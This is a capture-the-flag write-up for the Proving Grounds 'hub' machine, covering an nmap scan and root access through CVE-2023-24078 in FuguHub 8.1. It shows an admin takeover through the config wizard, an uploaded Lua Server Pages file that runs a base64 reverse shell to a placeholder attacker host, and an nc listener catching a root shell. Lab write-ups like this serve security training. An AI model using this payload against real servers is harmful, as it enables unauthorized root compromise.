hub Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

hub runs Real Time Logic FuguHub on port 8082. FuguHub 8.1 is vulnerable to CVE-2023-24078: with no admin set, the config wizard lets anyone claim admin, then the Web-File-Server allows uploading a Lua Server Pages file that executes os.execute. FuguHub runs as root, so the payload lands a root shell directly.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]

└─$ sudo nmap -p- -sCV $TARGET_IP

PORT     STATE SERVICE
8082/tcp open  http    FuguHub (BarracudaDrive)
9999/tcp open  http

Explain command

-p-	Scan all 65535 TCP ports.
-sCV	Run the default scripts and probe service versions.

Port 8082 serves FuguHub. Version 8.1 is vulnerable to CVE-2023-24078, an authenticated Lua Server Pages remote code execution.

Exploitation

FuguHub LSP RCE (CVE-2023-24078)

No admin account is configured, so claim one through the config wizard at /Config-Wizard/wizard/SetAdmin.lsp. Then log into the Web-File-Server and create a malicious .lsp file that runs a reverse shell through os.execute.

<?lsp if request:method() == "GET" then ?>
   <?lsp os.execute("echo <base64 reverse shell to $ATTACKER_IP:$ATTACKER_PORT> | base64 -d | bash") ?>
<?lsp else ?>
   You sent a <?lsp=request:method()?> request
<?lsp end ?>

Start a listener, upload rev.lsp, then browse to it to execute the payload.

┌──(kali㉿kali)-[~]

└─$ nc -lvnp $ATTACKER_PORT

connect to [$ATTACKER_IP] from $TARGET_IP
# id
uid=0(root) gid=0(root) groups=0(root)

Explain command

-lvnp

Listen, verbose, no DNS resolution, on the given port.

FuguHub runs its server process as root, so the Lua Server Pages payload executes as root and the shell lands as root directly. No privilege escalation is required.